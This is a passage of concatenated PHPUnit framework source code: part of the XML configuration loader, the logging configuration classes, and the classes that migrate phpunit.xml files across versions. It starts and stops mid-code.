(!$directoryPath) { continue; } $directories[] = new FilterDirectory( $this->toAbsolutePath($filename, $directoryPath), $directoryNode->hasAttribute('prefix') ? $directoryNode->getAttribute('prefix') : '', $directoryNode->hasAttribute('suffix') ? $directoryNode->getAttribute('suffix') : '.php', ); } return FilterDirectoryCollection::fromArray($directories); } private function readFilterFiles(string $filename, DOMXPath $xpath, string $query): FileCollection { $files = []; foreach ($xpath->query($query) as $file) { assert($file instanceof DOMNode); $filePath = $file->textContent; if ($filePath) { $files[] = new File($this->toAbsolutePath($filename, $filePath)); } } return FileCollection::fromArray($files); } private function groups(DOMXPath $xpath): Groups { $include = []; $exclude = []; foreach ($xpath->query('groups/include/group') as $group) { assert($group instanceof DOMNode); $include[] = new Group($group->textContent); } foreach ($xpath->query('groups/exclude/group') as $group) { assert($group instanceof DOMNode); $exclude[] = new Group($group->textContent); } return new Groups( GroupCollection::fromArray($include), GroupCollection::fromArray($exclude), ); } private function getBooleanAttribute(DOMElement $element, string $attribute, bool $default): bool { if (!$element->hasAttribute($attribute)) { return $default; } return $this->getBoolean( $element->getAttribute($attribute), false, ); } private function getIntegerAttribute(DOMElement $element, string $attribute, int $default): int { if (!$element->hasAttribute($attribute)) { return $default; } return $this->getInteger( $element->getAttribute($attribute), $default, ); } private function getStringAttribute(DOMElement $element, string $attribute): ?string { if (!$element->hasAttribute($attribute)) { return null; } return $element->getAttribute($attribute); } private function getStringAttributeWithDefault(DOMElement $element, string $attribute, string $default): string { if (!$element->hasAttribute($attribute)) { return $default; } return $element->getAttribute($attribute); } private function getInteger(string $value, int $default): int { if (is_numeric($value)) { return (int) $value; } return $default; } private function php(string $filename, DOMXPath $xpath): Php { $includePaths = []; foreach ($xpath->query('php/includePath') as $includePath) { assert($includePath instanceof DOMNode); $path = $includePath->textContent; if ($path) { $includePaths[] = new Directory($this->toAbsolutePath($filename, $path)); } } $iniSettings = []; foreach ($xpath->query('php/ini') as $ini) { assert($ini instanceof DOMElement); $iniSettings[] = new IniSetting( $ini->getAttribute('name'), $ini->getAttribute('value'), ); } $constants = []; foreach ($xpath->query('php/const') as $const) { assert($const instanceof DOMElement); $value = $const->getAttribute('value'); $constants[] = new Constant( $const->getAttribute('name'), $this->getValue($value), ); } $variables = [ 'var' => [], 'env' => [], 'post' => [], 'get' => [], 'cookie' => [], 'server' => [], 'files' => [], 'request' => [], ]; foreach (['var', 'env', 'post', 'get', 'cookie', 'server', 'files', 'request'] as $array) { foreach ($xpath->query('php/' . $array) as $var) { assert($var instanceof DOMElement); $name = $var->getAttribute('name'); $value = $var->getAttribute('value'); $force = false; $verbatim = false; if ($var->hasAttribute('force')) { $force = $this->getBoolean($var->getAttribute('force'), false); } if ($var->hasAttribute('verbatim')) { $verbatim = $this->getBoolean($var->getAttribute('verbatim'), false); } if (!$verbatim) { $value = $this->getValue($value); } $variables[$array][] = new Variable($name, $value, $force); } } return new Php( DirectoryCollection::fromArray($includePaths), IniSettingCollection::fromArray($iniSettings), ConstantCollection::fromArray($constants), VariableCollection::fromArray($variables['var']), VariableCollection::fromArray($variables['env']), VariableCollection::fromArray($variables['post']), VariableCollection::fromArray($variables['get']), VariableCollection::fromArray($variables['cookie']), VariableCollection::fromArray($variables['server']), VariableCollection::fromArray($variables['files']), VariableCollection::fromArray($variables['request']), ); } private function phpunit(string $filename, DOMDocument $document): PHPUnit { $executionOrder = TestSuiteSorter::ORDER_DEFAULT; $defectsFirst = false; $resolveDependencies = $this->getBooleanAttribute($document->documentElement, 'resolveDependencies', true); if ($document->documentElement->hasAttribute('executionOrder')) { foreach (explode(',', $document->documentElement->getAttribute('executionOrder')) as $order) { switch ($order) { case 'default': $executionOrder = TestSuiteSorter::ORDER_DEFAULT; $defectsFirst = false; $resolveDependencies = true; break; case 'depends': $resolveDependencies = true; break; case 'no-depends': $resolveDependencies = false; break; case 'defects': $defectsFirst = true; break; case 'duration': $executionOrder = TestSuiteSorter::ORDER_DURATION; break; case 'random': $executionOrder = TestSuiteSorter::ORDER_RANDOMIZED; break; case 'reverse': $executionOrder = TestSuiteSorter::ORDER_REVERSED; break; case 'size': $executionOrder = TestSuiteSorter::ORDER_SIZE; break; } } } $cacheDirectory = $this->getStringAttribute($document->documentElement, 'cacheDirectory'); if ($cacheDirectory !== null) { $cacheDirectory = $this->toAbsolutePath($filename, $cacheDirectory); } $cacheResultFile = $this->getStringAttribute($document->documentElement, 'cacheResultFile'); if ($cacheResultFile !== null) { $cacheResultFile = $this->toAbsolutePath($filename, $cacheResultFile); } $bootstrap = $this->getStringAttribute($document->documentElement, 'bootstrap'); if ($bootstrap !== null) { $bootstrap = $this->toAbsolutePath($filename, $bootstrap); } $extensionsDirectory = $this->getStringAttribute($document->documentElement, 'extensionsDirectory'); if ($extensionsDirectory !== null) { $extensionsDirectory = $this->toAbsolutePath($filename, $extensionsDirectory); } $backupStaticProperties = false; if ($document->documentElement->hasAttribute('backupStaticProperties')) { $backupStaticProperties = $this->getBooleanAttribute($document->documentElement, 'backupStaticProperties', false); } elseif ($document->documentElement->hasAttribute('backupStaticAttributes')) { $backupStaticProperties = $this->getBooleanAttribute($document->documentElement, 'backupStaticAttributes', false); } $requireCoverageMetadata = false; if ($document->documentElement->hasAttribute('requireCoverageMetadata')) { $requireCoverageMetadata = $this->getBooleanAttribute($document->documentElement, 'requireCoverageMetadata', false); } elseif ($document->documentElement->hasAttribute('forceCoversAnnotation')) { $requireCoverageMetadata = $this->getBooleanAttribute($document->documentElement, 'forceCoversAnnotation', false); } $beStrictAboutCoverageMetadata = false; if ($document->documentElement->hasAttribute('beStrictAboutCoverageMetadata')) { $beStrictAboutCoverageMetadata = $this->getBooleanAttribute($document->documentElement, 'beStrictAboutCoverageMetadata', false); } elseif ($document->documentElement->hasAttribute('forceCoversAnnotation')) { $beStrictAboutCoverageMetadata = $this->getBooleanAttribute($document->documentElement, 'beStrictAboutCoversAnnotation', false); } return new PHPUnit( $cacheDirectory, $this->getBooleanAttribute($document->documentElement, 'cacheResult', true), $cacheResultFile, $this->getColumns($document), $this->getColors($document), $this->getBooleanAttribute($document->documentElement, 'stderr', false), $this->getBooleanAttribute($document->documentElement, 'displayDetailsOnAllIssues', false), $this->getBooleanAttribute($document->documentElement, 'displayDetailsOnIncompleteTests', false), $this->getBooleanAttribute($document->documentElement, 'displayDetailsOnSkippedTests', false), $this->getBooleanAttribute($document->documentElement, 'displayDetailsOnTestsThatTriggerDeprecations', false), $this->getBooleanAttribute($document->documentElement, 'displayDetailsOnPhpunitDeprecations', false), $this->getBooleanAttribute($document->documentElement, 'displayDetailsOnTestsThatTriggerErrors', false), $this->getBooleanAttribute($document->documentElement, 'displayDetailsOnTestsThatTriggerNotices', false), $this->getBooleanAttribute($document->documentElement, 'displayDetailsOnTestsThatTriggerWarnings', false), $this->getBooleanAttribute($document->documentElement, 'reverseDefectList', false), $requireCoverageMetadata, $bootstrap, $this->getBooleanAttribute($document->documentElement, 'processIsolation', false), $this->getBooleanAttribute($document->documentElement, 'failOnAllIssues', false), $this->getBooleanAttribute($document->documentElement, 'failOnDeprecation', false), $this->getBooleanAttribute($document->documentElement, 'failOnPhpunitDeprecation', false), $this->getBooleanAttribute($document->documentElement, 'failOnPhpunitWarning', true), $this->getBooleanAttribute($document->documentElement, 'failOnEmptyTestSuite', false), $this->getBooleanAttribute($document->documentElement, 'failOnIncomplete', false), $this->getBooleanAttribute($document->documentElement, 'failOnNotice', false), $this->getBooleanAttribute($document->documentElement, 'failOnRisky', false), $this->getBooleanAttribute($document->documentElement, 'failOnSkipped', false), $this->getBooleanAttribute($document->documentElement, 'failOnWarning', false), $this->getBooleanAttribute($document->documentElement, 'stopOnDefect', false), $this->getBooleanAttribute($document->documentElement, 'stopOnDeprecation', false), $this->getBooleanAttribute($document->documentElement, 'stopOnError', false), $this->getBooleanAttribute($document->documentElement, 'stopOnFailure', false), $this->getBooleanAttribute($document->documentElement, 'stopOnIncomplete', false), $this->getBooleanAttribute($document->documentElement, 'stopOnNotice', false), $this->getBooleanAttribute($document->documentElement, 'stopOnRisky', false), $this->getBooleanAttribute($document->documentElement, 'stopOnSkipped', false), $this->getBooleanAttribute($document->documentElement, 'stopOnWarning', false), $extensionsDirectory, $this->getBooleanAttribute($document->documentElement, 'beStrictAboutChangesToGlobalState', false), $this->getBooleanAttribute($document->documentElement, 'beStrictAboutOutputDuringTests', false), $this->getBooleanAttribute($document->documentElement, 'beStrictAboutTestsThatDoNotTestAnything', true), $beStrictAboutCoverageMetadata, $this->getBooleanAttribute($document->documentElement, 'enforceTimeLimit', false), $this->getIntegerAttribute($document->documentElement, 'defaultTimeLimit', 1), $this->getIntegerAttribute($document->documentElement, 'timeoutForSmallTests', 1), $this->getIntegerAttribute($document->documentElement, 'timeoutForMediumTests', 10), $this->getIntegerAttribute($document->documentElement, 'timeoutForLargeTests', 60), $this->getStringAttribute($document->documentElement, 'defaultTestSuite'), $executionOrder, $resolveDependencies, $defectsFirst, $this->getBooleanAttribute($document->documentElement, 'backupGlobals', false), $backupStaticProperties, $this->getBooleanAttribute($document->documentElement, 'registerMockObjectsFromTestArgumentsRecursively', false), $this->getBooleanAttribute($document->documentElement, 'testdox', false), $this->getBooleanAttribute($document->documentElement, 'controlGarbageCollector', false), $this->getIntegerAttribute($document->documentElement, 'numberOfTestsBeforeGarbageCollection', 100), ); } private function getColors(DOMDocument $document): string { $colors = Configuration::COLOR_DEFAULT; if ($document->documentElement->hasAttribute('colors')) { /* only allow boolean for compatibility with previous versions 'always' only allowed from command line */ if ($this->getBoolean($document->documentElement->getAttribute('colors'), false)) { $colors = Configuration::COLOR_AUTO; } else { $colors = Configuration::COLOR_NEVER; } } return $colors; } private function getColumns(DOMDocument $document): int|string { $columns = 80; if ($document->documentElement->hasAttribute('columns')) { $columns = $document->documentElement->getAttribute('columns'); if ($columns !== 'max') { $columns = $this->getInteger($columns, 80); } } return $columns; } private function testSuite(string $filename, DOMXPath $xpath): TestSuiteCollection { $testSuites = []; foreach ($this->getTestSuiteElements($xpath) as $element) { $exclude = []; foreach ($element->getElementsByTagName('exclude') as $excludeNode) { $excludeFile = $excludeNode->textContent; if ($excludeFile) { $exclude[] = new File($this->toAbsolutePath($filename, $excludeFile)); } } $directories = []; foreach ($element->getElementsByTagName('directory') as $directoryNode) { assert($directoryNode instanceof DOMElement); $directory = $directoryNode->textContent; if (empty($directory)) { continue; } $prefix = ''; if ($directoryNode->hasAttribute('prefix')) { $prefix = $directoryNode->getAttribute('prefix'); } $suffix = 'Test.php'; if ($directoryNode->hasAttribute('suffix')) { $suffix = $directoryNode->getAttribute('suffix'); } $phpVersion = PHP_VERSION; if ($directoryNode->hasAttribute('phpVersion')) { $phpVersion = $directoryNode->getAttribute('phpVersion'); } $phpVersionOperator = new VersionComparisonOperator('>='); if ($directoryNode->hasAttribute('phpVersionOperator')) { $phpVersionOperator = new VersionComparisonOperator($directoryNode->getAttribute('phpVersionOperator')); } $directories[] = new TestDirectory( $this->toAbsolutePath($filename, $directory), $prefix, $suffix, $phpVersion, $phpVersionOperator, ); } $files = []; foreach ($element->getElementsByTagName('file') as $fileNode) { assert($fileNode instanceof DOMElement); $file = $fileNode->textContent; if (empty($file)) { continue; } $phpVersion = PHP_VERSION; if ($fileNode->hasAttribute('phpVersion')) { $phpVersion = $fileNode->getAttribute('phpVersion'); } $phpVersionOperator = new VersionComparisonOperator('>='); if ($fileNode->hasAttribute('phpVersionOperator')) { $phpVersionOperator = new VersionComparisonOperator($fileNode->getAttribute('phpVersionOperator')); } $files[] = new TestFile( $this->toAbsolutePath($filename, $file), $phpVersion, $phpVersionOperator, ); } $name = $element->getAttribute('name'); assert(!empty($name)); $testSuites[] = new TestSuiteConfiguration( $name, TestDirectoryCollection::fromArray($directories), TestFileCollection::fromArray($files), FileCollection::fromArray($exclude), ); } return TestSuiteCollection::fromArray($testSuites); } /** * @psalm-return list */ private function getTestSuiteElements(DOMXPath $xpath): array { $elements = []; $testSuiteNodes = $xpath->query('testsuites/testsuite'); if ($testSuiteNodes->length === 0) { $testSuiteNodes = $xpath->query('testsuite'); } if ($testSuiteNodes->length === 1) { $element = $testSuiteNodes->item(0); assert($element instanceof DOMElement); $elements[] = $element; } else { foreach ($testSuiteNodes as $testSuiteNode) { assert($testSuiteNode instanceof DOMElement); $elements[] = $testSuiteNode; } } return $elements; } private function element(DOMXPath $xpath, string $element): ?DOMElement { $nodes = $xpath->query($element); if ($nodes->length === 1) { $node = $nodes->item(0); assert($node instanceof DOMElement); return $node; } return null; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging; use PHPUnit\TextUI\Configuration\File; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Junit { private readonly File $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging; use PHPUnit\TextUI\XmlConfiguration\Exception; use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Html as TestDoxHtml; use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Text as TestDoxText; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Logging { private readonly ?Junit $junit; private readonly ?TeamCity $teamCity; private readonly ?TestDoxHtml $testDoxHtml; private readonly ?TestDoxText $testDoxText; public function __construct(?Junit $junit, ?TeamCity $teamCity, ?TestDoxHtml $testDoxHtml, ?TestDoxText $testDoxText) { $this->junit = $junit; $this->teamCity = $teamCity; $this->testDoxHtml = $testDoxHtml; $this->testDoxText = $testDoxText; } public function hasJunit(): bool { return $this->junit !== null; } /** * @throws Exception */ public function junit(): Junit { if ($this->junit === null) { throw new Exception('Logger "JUnit XML" is not configured'); } return $this->junit; } public function hasTeamCity(): bool { return $this->teamCity !== null; } /** * @throws Exception */ public function teamCity(): TeamCity { if ($this->teamCity === null) { throw new Exception('Logger "Team City" is not configured'); } return $this->teamCity; } public function hasTestDoxHtml(): bool { return $this->testDoxHtml !== null; } /** * @throws Exception */ public function testDoxHtml(): TestDoxHtml { if ($this->testDoxHtml === null) { throw new Exception('Logger "TestDox HTML" is not configured'); } return $this->testDoxHtml; } public function hasTestDoxText(): bool { return $this->testDoxText !== null; } /** * @throws Exception */ public function testDoxText(): TestDoxText { if ($this->testDoxText === null) { throw new Exception('Logger "TestDox Text" is not configured'); } return $this->testDoxText; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging; use PHPUnit\TextUI\Configuration\File; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class TeamCity { private readonly File $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging\TestDox; use PHPUnit\TextUI\Configuration\File; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Html { private readonly File $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\Logging\TestDox; use PHPUnit\TextUI\Configuration\File; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Text { private readonly File $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function version_compare; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MigrationBuilder { private const AVAILABLE_MIGRATIONS = [ '8.5' => [ RemoveLogTypes::class, ], '9.2' => [ RemoveCacheTokensAttribute::class, IntroduceCoverageElement::class, MoveAttributesFromRootToCoverage::class, MoveAttributesFromFilterWhitelistToCoverage::class, MoveWhitelistIncludesToCoverage::class, MoveWhitelistExcludesToCoverage::class, RemoveEmptyFilter::class, CoverageCloverToReport::class, CoverageCrap4jToReport::class, CoverageHtmlToReport::class, CoveragePhpToReport::class, CoverageTextToReport::class, CoverageXmlToReport::class, ConvertLogTypes::class, ], '9.5' => [ RemoveListeners::class, RemoveTestSuiteLoaderAttributes::class, RemoveCacheResultFileAttribute::class, RemoveCoverageElementCacheDirectoryAttribute::class, RemoveCoverageElementProcessUncoveredFilesAttribute::class, IntroduceCacheDirectoryAttribute::class, RenameBackupStaticAttributesAttribute::class, RemoveBeStrictAboutResourceUsageDuringSmallTestsAttribute::class, RemoveBeStrictAboutTodoAnnotatedTestsAttribute::class, RemovePrinterAttributes::class, RemoveVerboseAttribute::class, RenameForceCoversAnnotationAttribute::class, RenameBeStrictAboutCoversAnnotationAttribute::class, RemoveConversionToExceptionsAttributes::class, RemoveNoInteractionAttribute::class, RemoveLoggingElements::class, RemoveTestDoxGroupsElement::class, ], '10.0' => [ MoveCoverageDirectoriesToSource::class, ], '10.4' => [ RemoveBeStrictAboutTodoAnnotatedTestsAttribute::class, ], ]; public function build(string $fromVersion): array { $stack = [new UpdateSchemaLocation]; foreach (self::AVAILABLE_MIGRATIONS as $version => $migrations) { if (version_compare($version, $fromVersion, '<')) { continue; } foreach ($migrations as $migration) { $stack[] = new $migration; } } return $stack; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MigrationException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ConvertLogTypes implements Migration { public function migrate(DOMDocument $document): void { $logging = $document->getElementsByTagName('logging')->item(0); if (!$logging instanceof DOMElement) { return; } $types = [ 'junit' => 'junit', 'teamcity' => 'teamcity', 'testdox-html' => 'testdoxHtml', 'testdox-text' => 'testdoxText', 'testdox-xml' => 'testdoxXml', 'plain' => 'text', ]; $logNodes = []; foreach ($logging->getElementsByTagName('log') as $logNode) { if (!isset($types[$logNode->getAttribute('type')])) { continue; } $logNodes[] = $logNode; } foreach ($logNodes as $oldNode) { $newLogNode = $document->createElement($types[$oldNode->getAttribute('type')]); $newLogNode->setAttribute('outputFile', $oldNode->getAttribute('target')); $logging->replaceChild($newLogNode, $oldNode); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoverageCloverToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-clover'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $clover = $logNode->ownerDocument->createElement('clover'); $clover->setAttribute('outputFile', $logNode->getAttribute('target')); return $clover; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoverageCrap4jToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-crap4j'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $crap4j = $logNode->ownerDocument->createElement('crap4j'); $crap4j->setAttribute('outputFile', $logNode->getAttribute('target')); $this->migrateAttributes($logNode, $crap4j, ['threshold']); return $crap4j; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoverageHtmlToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-html'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $html = $logNode->ownerDocument->createElement('html'); $html->setAttribute('outputDirectory', $logNode->getAttribute('target')); $this->migrateAttributes($logNode, $html, ['lowUpperBound', 'highLowerBound']); return $html; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoveragePhpToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-php'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $php = $logNode->ownerDocument->createElement('php'); $php->setAttribute('outputFile', $logNode->getAttribute('target')); return $php; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoverageTextToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-text'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $text = $logNode->ownerDocument->createElement('text'); $text->setAttribute('outputFile', $logNode->getAttribute('target')); $this->migrateAttributes($logNode, $text, ['showUncoveredFiles', 'showOnlySummary']); return $text; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoverageXmlToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-xml'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $xml = $logNode->ownerDocument->createElement('xml'); $xml->setAttribute('outputDirectory', $logNode->getAttribute('target')); return $xml; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IntroduceCacheDirectoryAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('cacheDirectory')) { return; } $root->setAttribute('cacheDirectory', '.phpunit.cache'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IntroduceCoverageElement implements Migration { public function migrate(DOMDocument $document): void { $coverage = $document->createElement('coverage'); $document->documentElement->insertBefore( $coverage, $document->documentElement->firstChild, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function sprintf; use DOMDocument; use DOMElement; use DOMXPath; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class LogToReportMigration implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $coverage = $document->getElementsByTagName('coverage')->item(0); if (!$coverage instanceof DOMElement) { throw new MigrationException('Unexpected state - No coverage element'); } $logNode = $this->findLogNode($document); if ($logNode === null) { return; } $reportChild = $this->toReportFormat($logNode); $report = $coverage->getElementsByTagName('report')->item(0); if ($report === null) { $report = $coverage->appendChild($document->createElement('report')); } $report->appendChild($reportChild); $logNode->parentNode->removeChild($logNode); } protected function migrateAttributes(DOMElement $src, DOMElement $dest, array $attributes): void { foreach ($attributes as $attr) { if (!$src->hasAttribute($attr)) { continue; } $dest->setAttribute($attr, $src->getAttribute($attr)); $src->removeAttribute($attr); } } abstract protected function forType(): string; abstract protected function toReportFormat(DOMElement $logNode): DOMElement; private function findLogNode(DOMDocument $document): ?DOMElement { $logNode = (new DOMXPath($document))->query( sprintf('//logging/log[@type="%s"]', $this->forType()), )->item(0); if (!$logNode instanceof DOMElement) { return null; } return $logNode; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Migration { public function migrate(DOMDocument $document): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MoveAttributesFromFilterWhitelistToCoverage implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $whitelist = $document->getElementsByTagName('whitelist')->item(0); if (!$whitelist) { return; } $coverage = $document->getElementsByTagName('coverage')->item(0); if (!$coverage instanceof DOMElement) { throw new MigrationException('Unexpected state - No coverage element'); } $map = [ 'addUncoveredFilesFromWhitelist' => 'includeUncoveredFiles', 'processUncoveredFilesFromWhitelist' => 'processUncoveredFiles', ]; foreach ($map as $old => $new) { if (!$whitelist->hasAttribute($old)) { continue; } $coverage->setAttribute($new, $whitelist->getAttribute($old)); $whitelist->removeAttribute($old); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MoveAttributesFromRootToCoverage implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $map = [ 'disableCodeCoverageIgnore' => 'disableCodeCoverageIgnore', 'ignoreDeprecatedCodeUnitsFromCodeCoverage' => 'ignoreDeprecatedCodeUnits', ]; $root = $document->documentElement; assert($root instanceof DOMElement); $coverage = $document->getElementsByTagName('coverage')->item(0); if (!$coverage instanceof DOMElement) { throw new MigrationException('Unexpected state - No coverage element'); } foreach ($map as $old => $new) { if (!$root->hasAttribute($old)) { continue; } $coverage->setAttribute($new, $root->getAttribute($old)); $root->removeAttribute($old); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; use DOMXPath; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MoveCoverageDirectoriesToSource implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $source = $document->getElementsByTagName('source')->item(0); if ($source !== null) { return; } $coverage = $document->getElementsByTagName('coverage')->item(0); if ($coverage === null) { return; } $root = $document->documentElement; assert($root instanceof DOMElement); $source = $document->createElement('source'); $root->appendChild($source); $xpath = new DOMXPath($document); foreach (['include', 'exclude'] as $element) { foreach (SnapshotNodeList::fromNodeList($xpath->query('//coverage/' . $element)) as $node) { $source->appendChild($node); } } if ($coverage->childElementCount !== 0) { return; } assert($coverage->parentNode !== null); $coverage->parentNode->removeChild($coverage); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use function in_array; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MoveWhitelistExcludesToCoverage implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $whitelist = $document->getElementsByTagName('whitelist')->item(0); if ($whitelist === null) { return; } $excludeNodes = SnapshotNodeList::fromNodeList($whitelist->getElementsByTagName('exclude')); if ($excludeNodes->count() === 0) { return; } $coverage = $document->getElementsByTagName('coverage')->item(0); if (!$coverage instanceof DOMElement) { throw new MigrationException('Unexpected state - No coverage element'); } $targetExclude = $coverage->getElementsByTagName('exclude')->item(0); if ($targetExclude === null) { $targetExclude = $coverage->appendChild( $document->createElement('exclude'), ); } foreach ($excludeNodes as $excludeNode) { assert($excludeNode instanceof DOMElement); foreach (SnapshotNodeList::fromNodeList($excludeNode->childNodes) as $child) { if (!$child instanceof DOMElement || !in_array($child->nodeName, ['directory', 'file'], true)) { continue; } $targetExclude->appendChild($child); } if ($excludeNode->getElementsByTagName('*')->count() !== 0) { throw new MigrationException('Dangling child elements in exclude found.'); } $whitelist->removeChild($excludeNode); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MoveWhitelistIncludesToCoverage implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $whitelist = $document->getElementsByTagName('whitelist')->item(0); if ($whitelist === null) { return; } $coverage = $document->getElementsByTagName('coverage')->item(0); if (!$coverage instanceof 